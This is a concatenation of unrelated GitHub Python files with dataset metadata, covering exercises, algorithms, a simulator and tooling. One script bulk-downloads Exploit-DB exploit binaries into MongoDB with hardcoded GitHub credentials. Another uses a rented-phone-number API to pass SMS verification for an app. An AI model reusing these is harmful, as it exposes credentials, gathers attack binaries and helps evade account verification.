'http://api.fxhyd.cn/UserInterface.aspx?action=addignore&token=' + \\\n token + '&itemid=' + self.ITEMID + '&mobile=' + self.phone\n RELEASE = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning('拉黑号码:' + RELEASE)\n\n # 释放号码\n def release_phoneNumber(self):\n global token\n # global phone\n\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=release&token=' + \\\n token + '&itemid=' + self.ITEMID + '&mobile=' + self.phone\n RELEASE = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning('释放号码:' + RELEASE)\n\n def get_sms_code(self, sms):\n # 【币响App】您的验证码为3088，请于3内正确输入，如非本人操作，请忽略此短信。\n str1 = sms\n str2 = '为'\n nPos = str1.find(str2)\n # print(nPos)\n if nPos > -1:\n # print(str1[nPos+1:nPos+5])\n return str1[nPos + 1:nPos + 5]\n else:\n return nPos\n\n def get_phone(self):\n return self.phone\n\n def set_phone(self, phone):\n self.phone = phone\n","repo_name":"zt43413304/my_blockchain","sub_path":"common/my_51ym.py","file_name":"my_51ym.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"21550416868","text":"dados = dict()\nlista_dados = list()\nwhile True:\n dados['nome'] = str(input('Nome: ')).strip().capitalize()\n while True:\n dados['sexo'] = str(input('Sexo[M/F]: ')).strip().upper()[0]\n if dados['sexo'] == 'M' or dados['sexo'] == 'F':\n break\n print('ERRO! Responda apenas M ou F.')\n\n dados['idade'] = int(input('Idade: '))\n lista_dados.append(dados.copy())\n\n while True:\n continuar = str(input('Quer continuar?[S/N]: ')).strip().upper()[0]\n if continuar == 'S' or continuar == 'N':\n break\n print('ERRO! Responda apenas S ou N.')\n if continuar == 'N':\n break\n\nprint('-=' * 30)\nprint(f'A) Ao todo temos {len(lista_dados)} pessoas cadastradas.')\n\n# Fazendo a opção B\nsoma_idade = 0\nfor idade in lista_dados:\n soma_idade += idade['idade']\nmedia = soma_idade / len(lista_dados)\nprint(f'B) A média de idade é de {media:.2f} anos.')\n# FIM - B\n\n# Fazendo a opção C\nprint(f'C) As mulheres cadastradas foram', end=' ')\nfor mulheres in lista_dados:\n if mulheres['sexo'] == 'F':\n print(f'{mulheres[\"nome\"]}', end=' ')\nprint('')\n# FIM - C\n\nprint('D) Lista das pessoas que estão acima da média:')\nfor acima_media in lista_dados:\n if acima_media['idade'] > media:\n print(f' nome = {acima_media[\"nome\"]};', end=' ')\n print(f'sexo = {acima_media[\"sexo\"]};', end=' ')\n print(f'idade = {acima_media[\"idade\"]};', end=' ')\n print('')\nprint('<< ENCERRADO >>')\n\n","repo_name":"santosalves/python-curso-em-video","sub_path":"exer094.py","file_name":"exer094.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18382828886","text":"\r\nwith open('test.txt', 'r') as fh:\r\n test = [ (line.strip().split(',')[0], line.strip().split(',')[1]) for line in fh.readlines() ]\r\nwith open('input.txt', 'r') as fh:\r\n input = [ (line.strip().split(',')[0], line.strip().split(',')[1]) for line in fh.readlines() ]\r\n# print(test)\r\n\r\ndef overlap_assignment(part:str):\r\n counter = 0\r\n for pair in input:\r\n elf1_start, elf1_end = int(pair[0].split('-')[0]), int(pair[0].split('-')[1])\r\n elf2_start, elf2_end = int(pair[1].split('-')[0]), int(pair[1].split('-')[1])\r\n if (elf1_start <= elf2_start and elf1_end >= elf2_end) or (elf2_start <= elf1_start and elf2_end >= elf1_end):\r\n counter += 1\r\n elif elf1_end < elf2_start or elf2_end < elf1_start:\r\n pass\r\n else:\r\n if part == 'part1':\r\n counter += 0\r\n elif part == 'part2':\r\n counter += 1\r\n return counter\r\n\r\nprint(\"Part 1: \", overlap_assignment('part1'))\r\nprint(\"Part 2: \", overlap_assignment('part2'))\r\n","repo_name":"ricardlambea/AdventOfCode2022","sub_path":"day4/script_day4.py","file_name":"script_day4.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40058060719","text":"#!/usr/bin/env python3\nimport argparse\nimport pickle\nimport json\nfrom utils import prefixMap, firstViableTrg\n\n# Prepare quality estimation text\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('blogfile', help='Path to the binary log (.blog) file in question')\nparser.add_argument('questions_flat', help='Path to the questions_flat.json file')\nparser.add_argument('--a0md', help='Path to the annotation markdown file')\nparser.add_argument('--a0csv', help='Path to the annotation csv file')\nargs = parser.parse_args()\n\n# Prepare the A0 format for quality annotation\n# (group by SID, add flavor text)\ndef prepareA0(segments, questions):\n out = dict()\n for seg in segments:\n confirm = prefixMap(seg, 'CONFIRM')\n if len(confirm) > 0:\n confirm = confirm[-1]\n else:\n continue\n out.setdefault(confirm['sid'], []).append((str(seg['usid']), confirm['text2']))\n firstViable = firstViableTrg(seg)\n if firstViable:\n out.setdefault(confirm['sid'], []).append((f'v{seg[\"usid\"]}', firstViable['text2']))\n\n markdown = ''\n csv = 'USID, Score\\n'\n for sid, segments in out.items():\n question = questions[sid].replace('*', '__')\n markdown += f'\\n\\n\\n## {sid}\\n'\n helpText = ''\n if sid.startswith('t'):\n helpText += 'Popište daný problém technické podpoře.'\n else:\n helpText += 'Položte dotaz, na který odpovídá vyznačená část v textu.'\n markdown += f'_{helpText}_\\n\\n'\n markdown += f'{question}\\n\\n'\n for segment in segments:\n markdown += f'- `{segment[0].rjust(7)}` {segment[1]}\\n'\n csv += f'\"{segment[0].rjust(7)}\",0\\n'\n markdown = markdown.replace('
    ', ' ')\n markdown = markdown.replace('
    ', ' ')\n return markdown, csv\n\nwith open(args.blogfile, 'rb') as f:\n segments = pickle.load(f)\n\nwith open(args.questions_flat, 'r') as f:\n questions = json.loads(f.read())\n\nmarkdown, csv = prepareA0(segments, questions)\nif args.a0md is not None:\n with open(args.a0md, 'w') as f:\n f.write(markdown)\nif args.a0csv is not None:\n with open(args.a0csv, 'w') as f:\n f.write(csv)\n","repo_name":"zouharvi/ptakopet","sub_path":"meta/study_pilot/processing_scripts/prep_qe_annotation.py","file_name":"prep_qe_annotation.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"44"} +{"seq_id":"13850434435","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\nclass Solution(object):\n def levelOrder(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n level = []\n if not root :\n return []\n \n \n queue = [root]\n #queue.append(root)\n\n while queue:\n\n next_queue = []\n lst = []\n while queue :\n \n s = queue.pop(0)\n lst.append(s.val)\n if s.left: \n next_queue.append(s.left)\n if s.right: \n next_queue.append(s.right)\n \n queue = next_queue\n level.append(lst)\n \n return level","repo_name":"ProtikBose/Programming-Practice","sub_path":"Tree/Level Order Traversal.py","file_name":"Level Order Traversal.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72080096133","text":"import sys\nread=sys.stdin.readline\ndef cut(x):\n sum=0\n for i in tree:\n if i-x>=0:\n sum+=(i-x)\n return sum\nn,m=map(int,input().split())\ntree=list(map(int,read().split()))\n\nl=0\nr=max(tree)\n\nwhile l<=r:\n h=(r+l)//2\n if cut(h)>=m:\n l=h+1\n else:\n r=h-1\nprint(r)\n","repo_name":"hangyeol-seo/Coding_Study","sub_path":"BaekJoon/이분탐색,삼분탐색/2805.py","file_name":"2805.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41735291855","text":"import relationcheck\r\nimport os\r\nimport time\r\n\r\ndef remove_from_temp(fr, temp):\r\n for letter in fr:\r\n if letter in temp:\r\n temp.remove(letter)\r\n return temp\r\n\r\n\r\ndef bcnf(relation_choice, pk_list):\r\n os.system('cls')\r\n time.sleep(1)\r\n print(\"Boyce-Codd Normal Form: \")\r\n relation_list = []\r\n\r\n for letter in relation_choice[0]:\r\n relation_list.append(letter)\r\n\r\n dependency_list = relation_choice[1]\r\n\r\n print(\"List R: => \"+str(relation_list))\r\n print(\"List FR: => \"+str(relation_choice[1]))\r\n print(\"List PK => \"+str(pk_list))\r\n\r\n temp = relation_list\r\n temp2 = []\r\n\r\n for fr in dependency_list:\r\n if relationcheck.is_in(fr[0], temp):\r\n temp = remove_from_temp(fr[1], temp)\r\n temp2.append(fr)\r\n\r\n # check if one of the PK is left in the temp so we can append him to temp2 (final list)\r\n temp2 = check_pk(check_pk_in_temp(pk_list,temp), temp, temp2)\r\n return temp2\r\n\r\ndef check_pk_in_temp(pk_list,temp):\r\n for pk in pk_list:\r\n pk_temp=list(pk)\r\n #print(\"Pk temp je: \"+str(pk_temp))\r\n if set(pk_temp).issubset(set(temp)):\r\n #print(\"Pk temp je: \"+str(pk_temp) +\"a subset je od \"+str(temp))\r\n return pk\r\n\r\ndef check_nonkey(pk, temp):\r\n all_letters = \"\"\r\n\r\n for letter in temp: #abfg\r\n if letter not in pk: #ab\r\n all_letters+=letter\r\n\r\n return all_letters\r\n\r\n\r\n\r\ndef check_pk(pk, temp, temp2):\r\n #print(\"PK koji smo poslali + \"+str(pk))\r\n #print(\"temp + \"+str(temp))\r\n #print(\"temp2 + \"+str(temp2))\r\n temp_list = []\r\n\r\n pk_list = list(pk)\r\n #print(\"pk_list + \"+str(pk_list))\r\n temp_str=\"\"\r\n\r\n if set(pk_list).issubset(set(temp)):\r\n nonkey = check_nonkey(pk, temp)\r\n temp_list.append(pk)\r\n temp_list.append(nonkey)\r\n temp2.append(temp_list)\r\n\r\n return temp2\r\n","repo_name":"aljinovic-ante/SQL_Seminar","sub_path":"Seminar_SQL/boycecodd.py","file_name":"boycecodd.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32694051132","text":"import json\n\nfrom handler.data_handler import DataHandler\n\n\nclass JsonHandler():\n def __init__(self,datahandler) -> None:\n self.output_dict: dict = dict()\n self.datahandler: DataHandler = datahandler\n\n \n def create_json(self,datahandler: DataHandler):\n '''\n Create the final output json\n Additional info can be added here\n '''\n self.add_api_info(datahandler)\n self.create_database_info(datahandler)\n self.create_https_info(datahandler)\n self.save_as_json()\n\n\n # API Info\n def add_api_info(self,datahandler: DataHandler):\n '''Add the information for api gateway and related security decisions'''\n # Add info if there is an API Gateway\n api_info ={\"API\":\"No API Gateway found\"}\n nginx_root = self.create_nginx_info_architecture_string(datahandler)\n nginx_ms = self.create_api_info_microservice_string(datahandler)\n has_entry = False\n if (bool(nginx_root)):\n api_info[\"API\"] = nginx_root\n has_entry = True\n \n if(has_entry and bool(nginx_ms)):\n api_info[\"API\"].update(nginx_ms)\n has_entry = True\n elif bool(nginx_ms):\n api_info[\"API\"]=nginx_ms\n has_entry = True\n\n if has_entry:\n api_info[\"API\"].update(self.create_logging_info_string(datahandler))\n api_info[\"API\"].update(self.create_port_info(datahandler))\n self.output_dict.update(api_info)\n\n\n def create_port_info(self,datahandler:DataHandler):\n '''Create port info'''\n port_info = {}\n if bool(datahandler.root_instance._output_info._api_info.port_info):\n port_info[\"Exposed Ports\"]=datahandler.root_instance._output_info._api_info.port_info\n else:\n port_info[\"Exposed Ports\"] = \"No exposed ports found\"\n\n return port_info\n\n def create_logging_info_string(self,datahandler: DataHandler):\n '''Create logging info'''\n logging_info = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._api_info._logging_info):\n logging_info[\"Logging\"] = {microservice._name: microservice._output_info._api_info._logging_info}\n if not bool(logging_info):\n logging_info[\"Logging\"] = \"There was no logging info found, but logger should at least report failed login attempts\"\n return logging_info\n\n\n def create_nginx_info_architecture_string(self,datahandler:DataHandler):\n '''Create nginx info'''\n nginx_root = {}\n if (bool(datahandler.root_instance._output_info._api_info.nginx_proxy)):\n nginx_root[\"API_Gateway\"] = {\"Setup\": datahandler.root_instance._output_info._api_info.nginx_proxy}\n\n return nginx_root\n\n\n def create_api_info_microservice_string(self,datahandler:DataHandler):\n '''Create api info'''\n nginx_ms = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._api_info._used_services):\n if \"API_Gateway\" in nginx_ms.keys():\n nginx_ms[\"API_Gateway\"].update({\"Setup in \" + microservice._name + \": \":microservice._output_info._api_info._used_services})\n else:\n nginx_ms[\"API_Gateway\"] = {\"Setup in \" + microservice._name + \": \":microservice._output_info._api_info._used_services}\n\n return nginx_ms\n\n\n\n # Database\n def create_database_info(self,datahandler: DataHandler):\n '''Add the information for the database best practice and connected security decisions'''\n json = {\"Database\": \"No database found\"}\n \n databases = self.get_db_connection_string(datahandler)\n if (bool(databases)):\n json[\"Database\"] = databases\n backup = self.get_db_backup_string(datahandler)\n json.update(backup)\n \n encryption = self.get_db_encryption_string(datahandler)\n json.update(encryption)\n\n self.output_dict.update(json)\n \n def get_db_connection_string(self, datahandler: DataHandler):\n '''add connection between microservice and databases'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._database_info._database_connections):\n if \"Connections\" in json.keys():\n json[\"Connections\"].update({\"Database connected to \" + microservice._name : microservice._output_info._database_info._database_connections} )\n else:\n json[\"Connections\"] = {\"Database connected to \" + microservice._name : microservice._output_info._database_info._database_connections} \n # string += \"Found connected dbs in \" +microservice._name + \" \" + str(microservice._output_info._database_info._database_connections) + \"\\n\"\n return json\n\n def get_db_backup_string(self, datahandler: DataHandler):\n '''Add database backup info'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._database_info._backup_info):\n if \"Backup\" in json.keys():\n json[\"Backup\"].update({\"Found possible backup instruction in \" +microservice._name:microservice._output_info._database_info._backup_info})\n else:\n json[\"Backup\"] = {\"Found possible backup instruction in \" +microservice._name:microservice._output_info._database_info._backup_info}\n\n if not bool(json):\n json[\"Backup\"] = \"There was no backup information found\"\n\n return json\n\n\n def get_db_encryption_string(self, datahandler: DataHandler):\n '''Add database encryption info'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._database_info._encryption_info):\n if bool(json):\n json[\"Encryption\"].update({\"Found encryption instruction or libraries in \" +microservice._name: microservice._output_info._database_info._encryption_info})\n else:\n json[\"Encryption\"] = {\"Found encryption instruction or libraries in \" +microservice._name: microservice._output_info._database_info._encryption_info}\n\n if not bool(json):\n json[\"Encryption\"] = \"There was no encryption information found\"\n return json\n\n\n\n # HTTPS\n def create_https_info(self,datahandler: DataHandler):\n '''Add https info and connected security decisions'''\n json = {\"HTTPS\":\"No https setup found\"}\n\n https = self.get_https_setup_string(datahandler)\n if bool(https):\n json[\"HTTPS\"] = https\n json[\"HTTPS\"].update(self.get_https_cert(datahandler))\n json[\"HTTPS\"].update(self.get_cert_manager(datahandler))\n\n\n self.output_dict.update(json)\n\n\n def get_cert_manager(self,datahandler:DataHandler):\n '''Add certificate manager info'''\n json = {}\n if bool(datahandler.root_instance._output_info._https_info._cert_manager):\n json[\"Cert_manager\"] = datahandler.root_instance._output_info._https_info._cert_manager\n else:\n json[\"Cert_manager\"] = \"There was no certification manager found\"\n return json\n\n\n def get_https_setup_string(self,datahandler: DataHandler):\n '''Add https info'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._https_info._yaml_info):\n if bool(json):\n json[\"Setup\"].update({\"Found https setup for server: \" + microservice._name: microservice._output_info._https_info._yaml_info})\n else:\n json[\"Setup\"] = {\"Found https setup for server: \" + microservice._name: microservice._output_info._https_info._yaml_info}\n if bool(microservice._output_info._https_info._nginx_info):\n\n if bool(json):\n json[\"Setup\"].update({\"Found https setup in \" + microservice._name:microservice._output_info._https_info._nginx_info})\n else:\n json[\"Setup\"] = {\"Found https setup in \" + microservice._name:microservice._output_info._https_info._nginx_info}\n return json\n\n\n def get_https_cert(self,datahandler:DataHandler):\n '''Add certificate info'''\n json = {}\n if bool(datahandler.root_instance._output_info._https_info._cert_alg):\n json[\"Certificate\"] = datahandler.root_instance._output_info._https_info._cert_alg\n else:\n json[\"Certificate\"] = \"There was no certificate found\"\n return json\n \n\n # Save json\n def save_as_json(self):\n '''Write the json to microservice'''\n with open(self.datahandler.root_instance.root/'output.json', 'w') as fp:\n json.dump(self.output_dict, fp)","repo_name":"alsta450/design_detector","sub_path":"handler/json_handler.py","file_name":"json_handler.py","file_ext":"py","file_size_in_byte":8994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26904792018","text":"import csv\ndef solution_10():\n f = open('hightemp.txt')\n l = len(f.readlines())\n f.close()\n return l\n\ndef solution_11():\n f = open('hightemp.txt')\n f2 = open('hightemp_11.txt','w')\n lines = f.readlines()\n f2.writelines([i.replace('\\t',' ') for i in lines])\n f.close()\n f2.close()\n\ndef solution_12():\n f1 = open('col1.txt','w')\n f2 = open('col2.txt','w')\n with open('hightemp.txt') as csvfile:\n reader = csv.reader(csvfile, delimiter='\\t')\n for row in reader:\n print(row[0],file=f1)\n print(row[1],file=f2)\n f1.close()\n f2.close()\n\ndef solution_13():\n f1 = open('col1.txt','w')\n f2 = open('col2.txt','w')\n f3 = open('hightemp_13.txt','w')\n lines_1 = f1.readlines()\n lines_2 = f2.readlines()\n assert(len(lines_1)==len(lines_2))\n for i in range(len(lines_1)):\n print(lines_1[i],lines_2[i],sep='\\t',file=f3)\n f1.close()\n f2.close()\n f3.close()\n\nif __name__ == '__main__':\n print(solution_10())\n solution_11()\n solution_12()","repo_name":"jiao93/NLP","sub_path":"chapter02_10_13.py","file_name":"chapter02_10_13.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18140161298","text":"import numpy as np\n\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass\n\n\n# Data structure to save the simulation.\n@dataclass(frozen=True)\nclass SimulationResults:\n time: np.array\n height: np.array\n error: np.array\n action: np.array\n\n\n# Dynamic System class. Simulates a dynamic system on the form:\n# dx_dt = f(x,t)\nclass DynamicSystem(ABC):\n a21 = 1 / 5\n a31, a32 = 3 / 40, 9 / 40\n a41, a42, a43 = 44 / 55, -56 / 15, 32 / 9\n a51, a52, a53, a54 = 19372 / 6561, -25360 / 2187, 64448 / 6561, -212 / 729\n a61, a62, a63, a64, a65 = 9017 / 3186, -355 / 33, 46732 / 5247, 49 / 176, -5103 / 18656\n a71, a73, a74, a75, a76 = 35 / 384, 500 / 1113, 125 / 192, -2187 / 6784, 11 / 84\n a81, a83, a84, a85, a86, a87 = 71 / 57600, -71 / 16695, 71 / 1920, -17253 / 339200, 22 / 525, -1 / 40\n\n def __init__(self, limits=None):\n keywords = ['dx_dt', 'x', 'action', 'dt']\n if limits is None:\n limits = {}\n self.limits = limits\n for keyword in keywords:\n if keyword not in limits.keys():\n self.limits[keyword] = [None, None]\n\n self.simulation_results = None\n\n def dx_dt(self, value, action=None):\n return self.limit(self._dx_dt(value, action), self.limits['dx_dt'])\n\n def simulate_45(self, total_time=10, dt=0.001, x0=0, tol=1e-6,\n controller=None, control_point=0.7,\n onFinished=None, args=None,\n progressCallback=None, callbackArgs=None,\n returnValues=False,\n ):\n\n # Control Variables\n control_action = 0\n control_timer = 0\n\n self.limits['dt'] = [1e-12, controller.ts]\n\n # Simulation Variables\n xn = x0\n x = LinkedList(x0)\n time = LinkedList(0)\n error = LinkedList(control_point - xn)\n action = LinkedList(0)\n\n elapsed_time = 0\n\n # Progress\n last_percentage = 0\n\n while elapsed_time < total_time:\n # Add dt to the elapsed time, and the control timer.\n elapsed_time += dt\n control_timer += dt\n\n # Calculates the current value using the Dormand Prince Method\n xn, dt = self.dormand_prince(lambda aux: self.dx_dt(aux, control_action), xn, dt, tol)\n xn = self.limit(xn, self.limits['x'])\n\n # Assign the variables to their respective array.\n x.append(xn)\n time.append(elapsed_time)\n error.append(control_point - xn)\n action.append(control_action)\n\n # Calculate the Control Action if the system has a controller.\n if controller:\n if control_timer >= controller.ts:\n control_timer -= controller.ts\n control_action = controller.calculate_action(x.np_array(), time.np_array(), control_point)\n else:\n control_action = 0\n\n # Progress Callback.\n percentage = int(100 * elapsed_time / total_time)\n if percentage != last_percentage:\n last_percentage = percentage\n if progressCallback:\n if callbackArgs:\n progressCallback(percentage, callbackArgs)\n else:\n progressCallback(percentage)\n\n self.simulation_results = SimulationResults(time.np_array(), x.np_array(), error.np_array(), action.np_array())\n if onFinished:\n if args:\n onFinished(self.simulation_results, args)\n else:\n onFinished(self.simulation_results)\n\n if returnValues:\n return self.simulation_results\n\n def simulate(self, total_time=10, dt=0.001, x0=0,\n controller=None, control_point=0.7,\n onFinished=None, args=None,\n progressCallback=None, callbackArgs=None,\n returnValues=False,\n ):\n\n print(control_point)\n # Control Variables\n control_action = 0\n control_timer = 0\n\n # Simulation Variables\n nit = int(np.ceil(total_time / dt))\n curr_x = x0\n x = np.zeros(nit)\n x[0] = x0\n time = np.zeros(nit)\n error = np.zeros(nit)\n error[0] = control_point - curr_x\n action = np.zeros(nit)\n elapsed_time_string = [''] * nit\n elapsed_time_string[0] = '0:00'\n\n elapsed_time = 0\n\n # Progress\n last_percentage = 0\n\n for i in range(1, nit):\n # Calculates the current value using the Runge Kutta Method.\n curr_x = self.runge_kutta(lambda aux: self.dx_dt(aux, control_action), curr_x, dt)\n curr_x = self.limit(curr_x, self.limits['x'])\n\n # Add dt to the elapsed time, and the control timer.\n elapsed_time += dt\n control_timer += dt\n\n # Assign the variables to their respective array.\n x[i] = curr_x\n time[i] = elapsed_time\n error[i] = control_point - curr_x\n action[i] = control_action\n\n # Calculate the Control Action if the system has a controller.\n if controller:\n if control_timer >= controller.ts:\n control_timer -= controller.ts\n control_action = controller.calculate_action(x[:i], time[:i], control_point)\n else:\n control_action = 0\n\n # Progress Callback.\n percentage = int(100 * i / nit)\n if percentage != last_percentage:\n last_percentage = percentage\n if progressCallback:\n if callbackArgs:\n progressCallback(percentage, callbackArgs)\n else:\n progressCallback(percentage)\n\n self.simulation_results = SimulationResults(time, x, error, action)\n if onFinished:\n if args:\n onFinished(self.simulation_results, args)\n else:\n onFinished(self.simulation_results)\n\n if returnValues:\n return self.simulation_results\n\n @abstractmethod\n def _dx_dt(self, value, action=None):\n pass\n\n @staticmethod\n def runge_kutta(derivative_function, xn, dt):\n weights = [2, 2, 1]\n k = derivative_function(xn)\n x_n1 = k\n for i in range(3):\n k = derivative_function(xn + dt * k / weights[i])\n x_n1 += k * weights[i]\n x_n1 *= dt / 6\n x_n1 += xn\n return x_n1\n\n def dormand_prince(self, derivative_function, xn, dt, tol=1e-6):\n k1 = derivative_function(xn)\n k2 = derivative_function(xn + dt * self.a21 * k1)\n k3 = derivative_function(xn + dt * (self.a31 * k1 + self.a32 * k2))\n k4 = derivative_function(xn + dt * (self.a41 * k1 + self.a42 * k2 + self.a43 * k3))\n k5 = derivative_function(xn + dt * (self.a51 * k1 + self.a52 * k2 + self.a53 * k3 + self.a54 * k4))\n k6 = derivative_function(\n xn + dt * (self.a61 * k1 + self.a62 * k2 + self.a63 * k3 + self.a64 * k4 + self.a65 * k5))\n xn_1 = xn + dt * (self.a71 * k1 + self.a73 * k3 + self.a74 * k4 + self.a75 * k5 + self.a76 * k6)\n k7 = derivative_function(xn_1)\n error = abs(\n dt * (self.a81 * k1 + self.a83 * k3 + self.a84 * k4 + self.a85 * k5 + self.a86 * k6 + self.a87 * k7))\n\n if error == 0:\n dt_new = 2*dt\n elif error > tol or (error < tol/10):\n a = np.power(tol * dt / (2 * error), 1 / 5)\n factor = 0.9 * a\n if factor > 2:\n dt_new = 2*dt\n elif 0.5 < factor:\n dt_new = dt/2\n else:\n dt_new = factor*dt\n else:\n dt_new = dt\n\n dt_new = self.limit(dt_new, self.limits['dt'])\n\n return xn_1, dt_new\n\n @staticmethod\n def limit(x, limits):\n out = x\n if limits[0]:\n out = max(limits[0], out)\n if limits[1]:\n out = min(limits[1], out)\n return out\n\n\n# Implementation of Water Tank Dynamics.\nclass WaterTank(DynamicSystem):\n g = 9.81\n\n def __init__(self, max_height=1, tank_area=0.09, tank_escape_area=0.001 * np.pi, incoming_max_velocity=20,\n input_area=0.0004 * np.pi):\n DynamicSystem.__init__(self, {\n 'x': [0, max_height]\n })\n self._h_max = max_height\n self._k1 = np.sqrt(2 * self.g) * tank_escape_area / tank_area\n self._k2 = incoming_max_velocity * input_area / tank_area\n\n def _dx_dt(self, value, action=None):\n return self._k2 * action - self._k1 * np.sqrt(value)\n\n\nclass LinkedList:\n\n class Data:\n\n def __init__(self, val, index=0):\n self.val = val\n self.index = index\n self.next = None\n\n def __hash__(self):\n return self.index\n\n def __init__(self, initial_data=None):\n self.first = None\n self.length = 0\n self.last = None\n self.Nodes = {}\n if initial_data:\n self.append(initial_data)\n\n def append(self, data):\n new_node = self.Data(data, self.length)\n if self.last:\n self.Nodes[self.last].next = new_node\n self.Nodes[new_node] = new_node\n if self.length == 0:\n self.first = new_node\n elif self.length == 1:\n self.first.next = new_node\n self.last = new_node\n self.length += 1\n\n def np_array(self):\n array = np.zeros(self.length)\n curr = self.Nodes[self.first]\n for i in range(self.length):\n array[i] = curr.val\n curr = curr.next\n return array\n\n\n# class InvertedPendulum:\n# g = 9.81\n#\n# def __init__(self, L=1, inital_theta=0.00001):\n# self.L\n# self.theta = 0\n#\n#\n# def iterate(self, action, dt=0.01):\n# dh = self.k2*action - self.k1*np.sqrt(self.h)\n# self.h += dh*dt\n# self.elapsed_time += dt\n# if self.h <= 0:\n# self.h = 0\n# if self.h >= self.h_max:\n# self.h = self.h_max\n#\n# def get_reading(self):\n# return self.h + np.random.normal(0, 0.03)\n","repo_name":"Cbonief/Controlab","sub_path":"simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":10259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35590933653","text":"import os\nimport sys\nimport glob\nimport gridfs\nimport multiprocessing\nfrom bson import Binary\nfrom github import Github\nfrom pymongo import MongoClient\nfrom urllib.request import urlopen\n\n# load mongo client and establish collections\nclient = MongoClient('127.0.0.1', 27017)\ndb = client.pymongo_test\ntest_json_dump = db.test_json_dump\n\nshellcode_dump = db.shellcode_dump\nexploit_dump = db.exploit_dump\nprint(\"Connected to database.\")\n\ndb_bin = MongoClient().gridfs_testbin\nfs_bin = gridfs.GridFS(db_bin)\nprint(\"Connected to GridFS.\")\n\ngithub = Github(\"softwaregarry\", \"biggestmoney5ever\")\nuser = github.get_user()\nrepo = github.get_repo(\"offensive-security/exploitdb-bin-sploits\")\n\ndef get_binaries(file):\n\turl = \"https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/{}\".format(file.name)\n\tprint(url)\n\tfilename = file.name\n\tedb_id = file.name.split(\".\")[0]\n\tprint(edb_id)\n\tfile = urlopen(url)\n\tdata = file.read()\n\tprint(sys.getsizeof(data))\n\tif sys.getsizeof(data) > 4194304:\n\t\ta = fs_bin.put(data, filename=filename, edb_id=edb_id)\n\t\tprint(\"Inserted bin-sploit for {}.\".format(edb_id))\n\n\telse:\n\t\texploit_dump.find_one_and_update({'_id': edb_id}, {'$set': {\"poc_bin\": Binary(data)}})\n\t\ta = fs_bin.put(data, filename=filename, edb_id=edb_id)\n\t\tprint(\"Inserted bin-sploit for {}.\".format(edb_id))\n\njobs = []\n\ncontents = repo.get_dir_contents(\"bin-sploits\")\nfor file in contents:\n\tp = multiprocessing.Process(target=get_binaries, args=(file,))\n\tjobs.append(p)\n\tp.start()\n\n# pool = multiprocessing.Pool()\n# contents = repo.get_dir_contents(\"bin-sploits\")\n# for file in contents:\n# \tpool.apply_async(get_binaries, args=(file,))","repo_name":"Sonvanelle/VulnDisclosureCollector","sub_path":"edb-downloadbin.py","file_name":"edb-downloadbin.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"9125933633","text":"from __future__ import print_function\nfrom cloudmesh_client.cloud.image import Image\nfrom cloudmesh_client.shell.command import command\nfrom cloudmesh_client.shell.console import Console\nfrom cloudmesh_client.default import Default\nfrom cloudmesh_client.shell.command import PluginCommand, CloudPluginCommand\n\n\nclass ImageCommand(PluginCommand, CloudPluginCommand):\n topics = {\"image\": \"cloud\"}\n\n def __init__(self, context):\n self.context = context\n if self.context.debug:\n print(\"init command image\")\n\n # noinspection PyUnusedLocal\n @command\n def do_image(self, args, arguments):\n \"\"\"\n ::\n\n Usage:\n image refresh [--cloud=CLOUD]\n image list [ID] [--cloud=CLOUD] [--format=FORMAT] [--refresh]\n\n This lists out the images present for a cloud\n\n Options:\n --format=FORMAT the output format [default: table]\n --cloud=CLOUD the cloud name\n --refresh live data taken from the cloud\n\n Examples:\n cm image refresh\n cm image list\n cm image list --format=csv\n cm image list 58c9552c-8d93-42c0-9dea-5f48d90a3188 --refresh\n\n \"\"\"\n cloud = arguments[\"--cloud\"] or Default.cloud\n if cloud is None:\n Console.error(\"Default cloud doesn't exist\")\n return\n\n if arguments[\"refresh\"] or Default.refresh:\n msg = \"Refresh image for cloud {:}.\".format(cloud)\n if Image.refresh(cloud):\n Console.ok(\"{:} ok.\".format(msg))\n else:\n Console.error(\"{:} failed.\".format(msg))\n return \"\"\n\n if arguments[\"list\"]:\n 